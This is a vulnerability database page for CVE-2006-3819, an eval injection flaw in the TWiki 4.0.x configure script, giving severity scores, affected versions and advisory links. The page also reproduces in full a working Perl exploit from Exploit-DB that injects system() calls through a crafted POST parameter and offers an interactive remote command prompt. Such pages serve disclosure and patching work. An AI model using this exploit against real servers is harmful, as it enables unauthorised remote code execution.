CVE-2006-3819 : Detail

CVE-2006-3819

9.33%V3
Network
2006-07-26
23h00 +00:00
2017-07-19
13h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Eval injection vulnerability in the configure script in TWiki 4.0.0 through 4.0.4 allows remote attackers to execute arbitrary Perl code via an HTTP POST request containing a parameter name starting with "TYPEOF".

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 2143

Publication date : 2006-08-06 22h00 +00:00
Author : Javier Olascoaga
EDB Verified : Yes

#!/usr/bin/perl # Tue Aug 1 13:18:12 CEST 2006 jolascoaga@514.es use strict; use LWP::UserAgent; use LWP::Simple; use HTTP::Request; use HTTP::Response; use Getopt::Long; $| = 1; # couse 1 is bigger than 0 my ($proxy,$proxy_user,$proxy_pass); my ($host,$debug,$dir, $command); my $options = GetOptions ( 'host=s' => \$host, 'dir=s' => \$dir, 'proxy=s' => \$proxy, 'proxy_user=s' => \$proxy_user, 'proxy_pass=s' => \$proxy_pass, 'debug' => \$debug); &help unless ($host); # you dont need root $dir = "/twiki/bin/configure" unless($dir); # ... we have a template for this print "$host - $dir\n"; while () { print "tinkiwinki> "; # phf haquerz style while(<STDIN>) { $command=$_; chomp($command); last; } &send($command); } sub send { my ($cmd) = @_; my $ok = 0; my $socket; LWP::Debug::level('+') if $debug; # but remember this is crap :D my $ua = new LWP::UserAgent(); $ua->agent("safari/zoo"); if ($host !~ /^http/) { $host = sprintf ("http://%s", $host); # CRAP CRAP CRAP } my $req = HTTP::Request->new(POST => $host.$dir); $req->content('action=update&TYPEOF%3A%29%3Bsystem%28%27'.$cmd.'%27%29%3Bmy+@a%3D%28=anything&submit=Submit'); $ua->proxy(['http'] => $proxy) if $proxy; $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user; print $req->as_string() if $debug; my $res = $ua->request($req); my $html = $res->content(); $html =~ m/<body.*?>(.*?)<div/si; # <pus> print $1."\n"; if ($debug) { open (DEBG, ">wikidebug"); print DEBG $html; } } sub help { print "Syntax: ./$0 --host=url --dir=/horde [options]\n"; print "\t--proxy (http), --proxy_user, --proxy_pass\n"; print "\t--debug\n"; print "the default directory is /twiki/bin/configure\n"; print "\nExample\n"; print "bash# $0 --host=http(s)://www.server.com/\n"; print "\n"; exit(1); } exit 0; # <END OF EXPLOIT> # milw0rm.com [2006-08-07]

Products Mentioned

Configuraton 0

Twiki>>Twiki >> Version 4.0

Twiki>>Twiki >> Version 4.0.0

    Twiki>>Twiki >> Version 4.0.1

      Twiki>>Twiki >> Version 4.0.2

        Twiki>>Twiki >> Version 4.0.3

          Twiki>>Twiki >> Version 4.0.4

            References

            http://securitytracker.com/id?1016603
            Tags : vdb-entry, x_refsource_SECTRACK
            http://secunia.com/advisories/21235
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.securityfocus.com/bid/19188
            Tags : vdb-entry, x_refsource_BID
            http://www.osvdb.org/displayvuln.php?osvdb_id=27556
            Tags : vdb-entry, x_refsource_OSVDB
            http://www.vupen.com/english/advisories/2006/2995
            Tags : vdb-entry, x_refsource_VUPEN